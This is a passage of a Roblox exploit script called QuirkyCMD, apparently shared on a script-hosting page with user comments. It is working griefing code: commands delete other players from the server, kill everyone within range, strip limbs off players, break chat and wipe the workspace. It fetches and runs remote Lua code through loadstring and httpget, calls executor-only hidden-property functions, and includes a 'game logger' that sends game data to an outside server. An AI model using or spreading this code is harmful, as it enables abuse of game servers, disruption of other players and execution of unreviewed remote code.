			local chatEvents = rStorage:FindFirstChild("DefaultChatSystemChatEvents")
			if chatEvents then return delete(chatEvents) end
			if not modernChat then return end
			for i,v in pairs(game:GetService("TextChatService"):GetChildren()) do
				delete(v)
			end
		end, {"breakchat"}, 2)
	
		addCommand("nostats", function(plrs)
			for i,v in pairs(plrs) do
				local stats = v:FindFirstChild("leaderstats")
				if stats == nil then continue end
				delete(stats)
			end
		end, {}, 1)
	
		addCommand("deletename", function(plrs, input)
			for i,v in pairs(game:GetDescendants()) do
				local match = v.Name:lower():gsub(" ","")
				if not match:match(input:lower()) then continue end
				delete(v)
			end
		end, {}, 2)
	
		addCommand("clearstorage",function()
			for i,v in pairs(rStorage:GetChildren()) do
				if (v == genv.foundRemote) or (modernChat == false and v:IsA("Folder") and v.Name == "DefaultChatSystemChatEvents") then continue end
				delete(v)
			end
		end, {"clearrs","clearreps", "clearreplicatedstorage"}, 1)
	
		addCommand("clearws", function()
			for i,v in pairs(workspace:GetChildren()) do
				if players:GetPlayerFromCharacter(v) then continue end
				delete(v)
			end
		end, {}, 2)
	
		addCommand("lockws", function()
			for i,v in pairs(workspace:GetChildren()) do
				if players:FindFirstChild(v.Name) then continue end
				local con = v.ChildAdded:Connect(function(instance)
					if players:FindFirstChild(instance.Parent.Name) then return end
					task.wait()
					delete(instance)
				end)
				table.insert(genv.connections,con)
				table.insert(wslocks,con)
			end
			local con = workspace.ChildAdded:Connect(function(instance)
				if players:FindFirstChild(instance.Name) then return end
				task.wait()
				delete(instance)
			end)
			table.insert(genv.connections,con)
			table.insert(wslocks,con)
		end, {}, 1)
	
		addCommand("unlockws", function()
			for i,v in pairs(wslocks) do
				v:Disconnect()
			end
		end, {}, 1)
	
		addCommand("notextures", function()
			for i,v in pairs(workspace:GetChildren()) do
				if players:GetPlayerFromCharacter(v) then continue end
				if (v:IsA("Decal") or v:IsA("Texture")) then delete(v) end
	
				for _,instance in pairs(v:GetDescendants()) do
					if not (instance:IsA("Decal") or instance:IsA("Texture")) then continue end
					delete(instance)
				end
			end
		end, {}, 1)
	
		addCommand("baseplate", function()
			if not character then return end
			local hum = character:FindFirstChildOfClass("Humanoid")
			if not hum then return end
			local hrp = hum.RootPart
			if not hrp then return end
	
			local function isPlate(instance)
				if not (instance:IsA("BasePart")) then return end
				local distance = (instance.Position - hrp.Position).Magnitude
				local size = instance.Size.Magnitude
				if distance <= 7 or size >= 1000 or instance.Name:lower():gsub(" ",""):find("baseplate") then return true end
				return false
			end
	
			for i,v in pairs(workspace:GetChildren()) do
				if players:GetPlayerFromCharacter(v) then continue end
				if isPlate(v) == false then delete(v) continue end
				for _,instance in pairs(v:GetDescendants()) do
					if isPlate(instance) then continue end
					delete(instance)
				end
			end
		end,{"platform"}, 2)
	
		addCommand("nospawns", function()
			for i,v in pairs(workspace:GetDescendants()) do
				if not v:IsA("SpawnLocation") then continue end
				delete(v)
			end
		end, {}, 1)
	
		addCommand("unweldws", function()
			for i,v in pairs(workspace:GetChildren()) do
				if players:GetPlayerFromCharacter(v) then continue end
				for _, instance in pairs(v:GetDescendants()) do
					if not (instance:IsA("Weld") or instance:IsA("Attachment")) then continue end
					delete(instance)
				end
				if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end
				delete(v)
			end
		end, {}, 1)
	
		addCommand("noseats", function()
			for i,v in pairs(workspace:GetChildren()) do
				if players:GetPlayerFromCharacter(v) then continue end
				for _, instance in pairs(v:GetDescendants()) do
					if not (instance:IsA("VehicleSeat") or instance:IsA("Seat")) then continue end
					delete(instance)
				end
				if not (v:IsA("VehicleSeat") or v:IsA("Seat")) then continue end
				delete(v)
			end
		end, {}, 1)
	
		addCommand("nosounds",function()
			for i,v in pairs(game:GetDescendants()) do
				if not v:IsA("Sound") then continue end
				delete(v)
			end
		end, {}, 1)
	
		addCommand("clearlighting",function()
			for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
				delete(v)
			end
		end, {}, 1)
	
		addCommand("shutdown", function()
			for i,v in pairs(players:GetPlayers()) do
				if i == 1 then continue end
				delete(v)
			end
			delete(localPlayer)
		end, {}, 2)
	
		addCommand("nuke",function() 
			for i,v in pairs(workspace:GetChildren()) do
				delete(v)
			end
	
			for i,v in pairs(players:GetPlayers()) do
				if i == 1 then continue end
				delete(v)
			end
		end, {}, 2)
	
		addCommand("wither",function(plrs)
			local function decay(plr)
				local char = plr.Character
				if not char then return end
				local limbs = {}
				local shuffledLimbs = {}
				for i,v in pairs(char:GetChildren()) do
					if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
					table.insert(limbs, v)
				end
	
				for i = 1, #limbs do
					local rng = math.random(#limbs)
					table.insert(shuffledLimbs , limbs[rng])
					table.remove(limbs, rng)
				end
	
				for i,v in pairs(shuffledLimbs) do
					if not char:FindFirstChild(v.Name) then continue end
					if plr.Character ~= char then return end
					delete(v)
					table.remove(limbs,i)
					task.wait(1)
				end
	
				local head = char:FindFirstChild("Head")
				if not head then return end
				delete(head)
				task.wait(0.1)
				for i,v in pairs(char:GetChildren()) do
					if not v:IsA("BasePart") then continue end
					delete(v)
				end
			end
			for i,v in pairs(plrs) do 
				task.spawn(decay,v)
			end
		end, {"decay"}, 1)
	
	
		local function infectPlayer(plr)
			local char = plr.Character
			if not char then return end
			debugPrint(`{plr.Name} was infected`)
			local limbs = {}
			local limbAmount
			local shuffledLimbs = {}
			for i,v in pairs(char:GetChildren()) do
				if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end
				table.insert(limbs, v)
			end
	
			limbAmount = #limbs
	
			for i = 1, #limbs do
				local rng = math.random(#limbs)
				table.insert(shuffledLimbs , limbs[rng])
				table.remove(limbs, rng)
			end
	
			for i,v in pairs(shuffledLimbs) do
				task.wait(45/limbAmount)
				local infectedIndex = table.find(infected,plr)
				if not char:FindFirstChild(v.Name) then task.wait(45/limbAmount) continue end
				if plr.Character ~= char then return end
				delete(v)
				table.remove(limbs,i)
			end
			local head = char:FindFirstChild("Head")
			if head then
				delete(head)
				task.wait(0.1)
			end
			for i,v in pairs(char:GetChildren()) do
				if not v:IsA("BasePart") then continue end
				delete(v)
			end
			table.remove(infected,table.find(infected,plr))
		end
	
		table.insert(genv.connections,rs.Heartbeat:Connect(function()
			for i,v in pairs(infected) do
				local char = v.Character
				if not char then continue end
				local hum = char:FindFirstChild("Humanoid")
				if hum and hum.Health <= 0 then table.remove(infected,table.find(infected,v)) continue end
				local hrp = hum and hum.RootPart or char:FindFirstChild("HumanoidRootPart")
				if not hrp then continue end
				for i,v in pairs(players:GetPlayers()) do
					if table.find(infected,v) then continue end
					local tchar = v.Character
					if not tchar then continue end
					local thum = tchar:FindFirstChild("Humanoid")
					local thrp = thum and thum.RootPart or tchar:FindFirstChild("HumanoidRootPart")
					if not thrp then continue end
					if (thrp.Position - hrp.Position).Magnitude >= 5 then continue end
					table.insert(infected, v)
					task.spawn(infectPlayer,v)
				end
			end
		end))
	
		addCommand("virus",function(plrs)
			for i,v in pairs(plrs) do 
				table.insert(infected,v)
				task.spawn(infectPlayer,v)
			end
		end, {"infect"}, 1)
	
		addCommand("unvirus", function(plrs)
			for i,v in pairs(plrs) do
				local index = table.find(infected,v)
				if index then table.remove(infected,index) end
			end
		end, {"uninfect", "cure"}, 1)
	
	
		table.insert(genv.connections, rs.Heartbeat:Connect(function()
			for name, range in pairs(killauras) do
				local plr = players:FindFirstChild(name)
				if not plr then killauras[name] = nil continue end
				local char = plr.Character
				if not char then continue end
				local pos = char:GetPivot().Position
	
				for i,v in pairs(players:GetPlayers()) do
					if v == plr then continue end
					local tchar = v.Character
					if not tchar then continue end
					local tpos = tchar:GetPivot().Position
					local distance = (pos - tpos).Magnitude
					if distance > range then continue end
					local hum = tchar:FindFirstChild("Humanoid")
					if hum and hum.Health <= 0 then continue end
					runCommand("kill",{v})
				end
			end
		end))
	
		addCommand("killaura",function(plrs, input)
			local plrs = (#plrs > 0 and plrs) or ({localPlayer})
			local split = input:split(" ")
			local range = tonumber(split[#split]) or 10
			for i,v in pairs(plrs) do
				killauras[v.Name] = range
			end
		end, {"aura"}, 1)
	
		addCommand("unkillaura",function(plrs)
			for i,v in pairs(plrs) do
				killauras[v.Name] = nil
			end
		end, {"unaura"}, 1)
	
	
		addCommand("serverlock",function()
			slockEnabled = true
		end, {"slock"}, 2)
	
		addCommand("unserverlock", function()
			slockEnabled = false
		end, {"unslock"}, 2)
	
		addCommand("close", abort, {}, 3)
	
		local flyLoop
		local flySpeed = 50
		addCommand("fly",function() -- original made by apeyton
			local hum = character:FindFirstChildOfClass("Humanoid")
			if not hum then return end
	
			local hrp = character:FindFirstChild("HumanoidRootPart")
			if not hrp then return end
	
			hum.PlatformStand = true
			hrp.Anchored = true
	
			if flyLoop then flyLoop:Disconnect() end
			flyLoop = rs.Heartbeat:Connect(function(deltaTime)
				local moveDir = hum.MoveDirection * (flySpeed * deltaTime)
				local hrpCF = hrp.CFrame
				local cameraCF = camera.CFrame
				local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position
				cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
				local cameraPos = cameraCF.Position
				local hrpPos = hrpCF.Position
	
				local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir)
				hrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity)
			end)
		end, {}, 3)
	
		addCommand("unfly",function()
			if not flyLoop then return end
			flyLoop:Disconnect()
			local hum = character:FindFirstChildOfClass("Humanoid")
			if hum then hum.PlatformStand = false end
			local hrp = character:FindFirstChild("HumanoidRootPart")
			if hrp then hrp.Anchored = false end
	
		end, {}, 3)
	
		addCommand("flyspeed",function(plrs, input)
			flySpeed = tonumber(input) or 50
		end, {}, 3)
	
		addCommand("walkspeed", function(plrs, input)
			local speed = tonumber(input) or 16
			local humanoid = character:FindFirstChild("Humanoid")
			if not humanoid then return end
			humanoid.WalkSpeed = speed
		end, {"speed", "ws"}, 3)
	
		addCommand("jumppower", function(plrs, input)
			local jp = tonumber(input) or 50
			local humanoid = character:FindFirstChild("Humanoid")
			if not humanoid then return end
			humanoid.JumpPower = jp
		end, {"jp"}, 3)
	
		local noclipLoop
		addCommand("noclip", function()
			if noclipLoop then noclipLoop:Disconnect() end
			noclipLoop = rs.Stepped:Connect(function()
				for i,v in pairs(character:GetDescendants()) do
					if not (v:IsA("BasePart") and v.CanCollide) then continue end
					v.CanCollide = false
				end
			end)
		end, {"nc"}, 3)
	
		addCommand("clip",function()
			if noclipLoop then noclipLoop:Disconnect() end
		end, {"c"}, 3)
	
		-- credits to @xyzkade and @deuces1961 for Kade's reanim as a base
		local function loadReanim()
			local char = localPlayer.Character or localPlayer.CharacterAdded:Wait()
			local hum = char:WaitForChild("Humanoid")
			local simRadius = gethiddenproperty and gethiddenproperty(localPlayer,"SimulationRadius")
			local requiredRadius = 20
			local isR15 = hum.RigType == Enum.HumanoidRigType.R15
			local forcefield = char:FindFirstChildOfClass("ForceField")
			local fakeHum = hum:Clone()
			local hrp = char:WaitForChild("HumanoidRootPart")
			local hrpCF = hrp.CFrame
			local stopAlign = false
			local stopAntiVoid = false
			local limbs = {}
			local hatHandles = {}
			local reanimConnections = {}
	
			runCommand("clip")
	
			if simRadius and simRadius < requiredRadius then
				repeat
					notify("Please wait",`Waiting for bigger SimulationRadius ({tostring(math.floor(simRadius))}/{tostring(requiredRadius)})`, 2)
					task.wait(2)
				until gethiddenproperty(localPlayer,"SimulationRadius") >= requiredRadius
				if localPlayer.Character == nil or localPlayer.Character ~= char or hum.Parent == nil or hum.Health <= 0 then return end
			end
	
			if forcefield then forcefield:Destroy() end
			char.Archivable = true
	
			local rig = (not isR15) and char:Clone()
	
			if isR15 then
				local canGetObjects, loadedRig = pcall(function() return game:GetObjects("rbxassetid://18418211383")[1] end)
				local r6Rig = isTesting and rStorage:WaitForChild("R6Rig") or canGetObjects and loadedRig or loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/ad264038a91f7fa11bec2f67dad3feaf/raw"))()
				local humDesc = players:GetCharacterAppearanceAsync(localPlayer.UserId)
				local r6Head = r6Rig.Head
				local r15Head = char.Head
				local surfaceAppearance = r15Head:FindFirstChildOfClass("SurfaceAppearance")
				local face = r15Head:FindFirstChild("face")
	
				if surfaceAppearance then 
					surfaceAppearance:Clone().Parent = r6Head
				else
					if face then r6Head.face.Texture = face.Texture end
					r6Head.face.Transparency = 0
				end
	
				for i,v in pairs(r15Head:GetChildren()) do
					if not v:IsA("Attachment") then continue end
					v:Clone().Parent = r6Head
				end
	
				for i,v in pairs(humDesc:GetDescendants()) do
					if v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then
						v.Parent = r6Rig
						continue
					end
					if v:IsA("Accessory") or v:IsA("Hat") then
						r6Rig:WaitForChild("Humanoid"):AddAccessory(v)
					end
				end
	
	
				rig = r6Rig
			else
				local mesh = char.Head:FindFirstChildOfClass("SpecialMesh")
				local face = char.Head:FindFirstChild("face")
				if mesh and face then
					delete(face)
				end
			end	
	
			local rigHRP = rig:WaitForChild("HumanoidRootPart")
			local rigHum = rig:FindFirstChild("Humanoid")
	
			rig.Name = "wacky reanim rig"
	
	
			for i,v in pairs(char:GetChildren()) do
				if not v:IsA("BasePart") then continue end
				table.insert(limbs, {v,rig[v.Name]})
			end
	
	
			local accessories = hum:GetAccessories()
			local rigAccessories = rigHum:GetAccessories()
	
			for i,v in pairs(accessories) do
				if not isR15 then
					table.insert(hatHandles,{v.Handle,rigAccessories[i].Handle})
					continue
				end
				for _,rigAcc in pairs(rigAccessories) do
					local handle = rigAcc.Handle
					local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle
					local texture = handle == mesh and mesh.TextureID or mesh.TextureId
					if not (rigAcc.Name == v.Name and mesh.MeshId == v.Handle.MeshId and texture == v.Handle.TextureID) then continue end
					table.insert(hatHandles,{v.Handle,rigAcc.Handle})
					continue 
				end
			end
	
			local clock = os and os.clock or tick
			local cos = math.cos
			local sin = math.sin
			local cfNew = CFrame.new
			local cfZero = CFrame.identity
			local v3New = Vector3.new
			local v3Zero = Vector3.zero
	
			local changedMaxSimRad = pcall(sethiddenproperty, localPlayer, "MaximumSimulationRadius", 1000)
			local changedSimRad = pcall(sethiddenproperty, localPlayer, "SimulationRadius", 1000)
			local netlessCF = cfZero
			local sineValue = 0
	
	
			local function align(part0, part1, offset)
				if stopAlign then return end
				if part0 and part0.Parent and part1 and part1.Parent then
					local part0_mass = part1.Mass * 5
					part0.AssemblyLinearVelocity = v3New(part1.AssemblyLinearVelocity.X * part0_mass, sineValue, part1.AssemblyLinearVelocity.Z * part0_mass)
					part0.AssemblyAngularVelocity = part1.AssemblyAngularVelocity
	
					if isnetworkowner(part0) then
						part0.CFrame = part1.CFrame * offset
					end
				end
			end
	
			local function setCamera(model)
				local oldCamCF = camera.CFrame
				camera.CameraSubject = model.Humanoid
				camera:GetPropertyChangedSignal("CFrame"):Once(function()
					camera.CFrame = oldCamCF
				end)
			end
	
			local function disableCollisions(model,canTouchAndCast)
				for _, part in next, model:GetDescendants() do
					if part and part:IsA("BasePart") then
						part.CanCollide = false
						part.CanQuery = canTouchAndCast
						part.CanTouch = canTouchAndCast
					end
				end
			end
	
			local function makeTransparent(model)
				for i,v in pairs(model:GetDescendants()) do
					if not (v:IsA("BasePart") or v:IsA("Decal")) then continue end
					v.Transparency = 1
				end
			end
	
			local function breakWelds(model)
				for i,v in pairs(model:GetDescendants()) do
					if not v:IsA("Motor6D") then continue end
					delete(v)
				end
			end
	
			local function removeScripts(model)
				for i,v in pairs(model:GetChildren()) do
					if not (v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") or v.Name == "Animate") then continue end
					delete(v)
				end
			end
	
			local function removeTouchTriggers(model)
				for i,v in pairs(model:GetDescendants()) do
					if not v:IsA("TouchTransmitter") then continue end
					delete(v)
				end
			end
	
			local function onPostSim()
				for _, data in next, limbs do
					align(data[1], data[2],netlessCF)
				end
	
				for _, data in next, hatHandles do
					align(data[1], data[2], netlessCF)
				end
			end
	
			local function onPreSim()
				netlessCF = cfNew(0.01 * sin(clock()*16), 0, 0.01 * math.cos(clock()*16))
				sineValue = 40 - 3 * sin(clock()*10)
	
				if stopAntiVoid or rigHRP.Position.Y > (workspace.FallenPartsDestroyHeight + 50) then return end
				rigHRP.CFrame = hrpCF
				rigHRP.AssemblyLinearVelocity = v3Zero
				rigHRP.AssemblyAngularVelocity = v3Zero
			end
	
	
			rigHRP.CFrame = hrpCF
			rig.Parent = workspace
			localPlayer.Character = rig
			setCamera(rig)
			rig.Animate.Enabled = false
			rig.Animate.Enabled = true
			hum:ChangeState(Enum.HumanoidStateType.Physics)
			repeat task.wait() until limbs[3][1].CanCollide
			task.wait(0.05)
			delete(hum)
			repeat task.wait() until hum.Parent == nil
			task.wait()
			fakeHum.Parent = char
			task.wait()
			table.insert(reanimConnections, rs.PreSimulation:Connect(onPreSim))
			table.insert(reanimConnections, rs.PostSimulation:Connect(onPostSim))
			table.insert(reanimConnections, rs.Stepped:Connect(function()
				disableCollisions(char,false)
				disableCollisions(rig,true)
			end))
	
			breakWelds(char)
			makeTransparent(char)
			removeScripts(char)
			removeTouchTriggers(char)
	
			genv.LoadLibrary = function(lib) return loadstring(httpget("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/" .. lib .. ".lua"))() end
	
			local reset = Instance.new("BindableEvent")
			reset.Event:Connect(function()
				if stopAlign then
					local hum = character:FindFirstChildOfClass("Humanoid")
					if not hum then return character:BreakJoints() end
					hum.Health = 0
					return
				end
				notify("Resetting", "Please wait ~6 seconds", 6)
				stopAntiVoid = true
				rigHRP.Anchored = true
				rigHRP.CFrame = CFrame.new(0,workspace.FallenPartsDestroyHeight + 5,0)
				task.wait(0.5)
				stopAlign = true
				rigHum:ChangeState(Enum.HumanoidStateType.Dead)
				localPlayer.CharacterAdded:Wait()
				rig:Destroy()
				for i,v in pairs(reanimConnections) do
					v:Disconnect()
				end
			end)
	
			sgui:SetCore("ResetButtonCallback", reset)
	
			notify("Success!", "reanim loaded!")
		end
		addCommand("reanim",function() 
			task.spawn(loadReanim)
		end, {"reanimate"}, 3)
	
		--[[Add scrolling command list]]--
		local scrollText = "QuirkyCMD made by smokedoutlocedout | type cmds for a list of commands | "
		if not isMobile then
			scrollText ..= "press ; to open/close command bar | "
		end
		local charCount = 12
		local spaces = 0
		local scrollSpeed = 0.12 -- sec/char
		local sample = scrollText..string.rep(" ", spaces)
		local displayString = sample:sub(1, charCount)
		local strlen = string.len(sample)
	
		local counter = 1
		local timer = 0
	
		for i,v in pairs(scrollText:split("")) do
			if v ~= " " then continue end
			spaces += 1
		end
	
		table.insert(genv.connections, rs.Heartbeat:Connect(function(dt)
			timer += dt
			if timer > scrollSpeed then
				while timer > scrollSpeed do
					timer -= scrollSpeed
					counter = (counter + 1)%strlen
				end
	
				if counter + charCount <= strlen then
					displayString = sample:sub(counter, counter + charCount)
				else
					displayString = sample:sub(counter, strlen)..sample:sub(1, counter + charCount - strlen)
				end
			end
	
			box.PlaceholderText = (("%s"):format(displayString))
		end))
	
		--[[Sort commands alphabetically]]--
		table.sort(commands, function(a,b)
			return a.name < b.name
		end)
	
		--[[Add command list logic]]--
		for i,v in pairs(commands) do
			local level = v.securityLevel
			local clone = cmdTemplate:Clone()
			clone.Text = v.name .. ` ({rankNames[level]})`
			clone.Name = v.name
			clone.Visible = true
			clone.Parent = cmdsList
		end
	
		table.insert(genv.connections, closeButton.MouseButton1Click:Connect(function()
			cmdsFrame.Visible = false
		end))
	
		--[[Add drag functionality]]--
		local dragging
		local dragInput
		local dragStart
		local startPos
	
		local lastMousePos
		local lastGoalPos
		local dragSpeed = 20
	
		local function update(dt)
			if not (startPos) then return end
			if not (dragging) and (lastGoalPos) then
				cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, lastGoalPos.X.Offset, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
				return 
			end
	
			local delta = (lastMousePos - uis:GetMouseLocation())
			local xGoal = (startPos.X.Offset - delta.X)
			local yGoal = (startPos.Y.Offset - delta.Y)
			lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
			cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, xGoal, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, yGoal, dt * dragSpeed))	
		end
	
		cmdsFrame.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				dragging = true
				dragStart = input.Position
				startPos = cmdsFrame.Position
				lastMousePos = uis:GetMouseLocation()
	
				input.Changed:Connect(function()
					if input.UserInputState == Enum.UserInputState.End then
						dragging = false
					end
				end)
			end
		end)
	
		cmdsFrame.InputChanged:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
				dragInput = input
			end
		end)
	
		table.insert(genv.connections,rs.Heartbeat:Connect(update))
	
		--[[send to game logger]]--
		if not inDatabase then
			local function promptCallback(answer)
				if answer == "No" then return end
				local char = character
				if not char then return end
				local part = char:FindFirstChildOfClass("Part") or char:FindFirstChildOfClass("Humanoid") 
				delete(part)
				task.wait(.5)
				if localPlayer.Character ~= char or part.Parent == char then return end 
				sendGame()
				debugPrint("game sent to server")
			end
	
			local bindable = Instance.new("BindableFunction")
			bindable.OnInvoke = promptCallback
	
			sgui:SetCore("SendNotification", {
				Title = "Game logger";
				Text = "Do you want to log this game?",
				Duration = 300,
				Button1 = "Yes",
				Button2 = "No",
				Icon = "rbxassetid://82490397343155",
				Callback = bindable
			})
	
		end
	
		debugPrint("QuirkyCMD loaded successfully!")
	end)
end;
task.spawn(C_127);
-- StarterGui.CoolGui.CloseOpen.cope
local function C_129()
local script = G2L["129"];
	local cope = script.Parent
	local frame = script.Parent.Parent.Frame
	
	cope.MouseButton1Down:connect(function()
		if cope.Text == "Close" then
			frame.Visible = false
			cope.Text = "Open" else
			frame.Visible = true
			cope.Text = "Close"	
		end	
	end)
end;
task.spawn(C_129);

local msg = Instance.new("Message",workspace)
msg.Text = "c00lgui revival has loaded."
wait(3)
msg:Destroy()

return G2L["1"], require;

Features & Information

fe

Community Comments (3)

LuxcazsLuxcazsApr 12, 2025

good

silbermannrudisilbermannrudiApr 18, 2025

really nice

krlskwrsk2krlskwrsk2May 6, 2025

its fe

More Scripts for Universal Scripts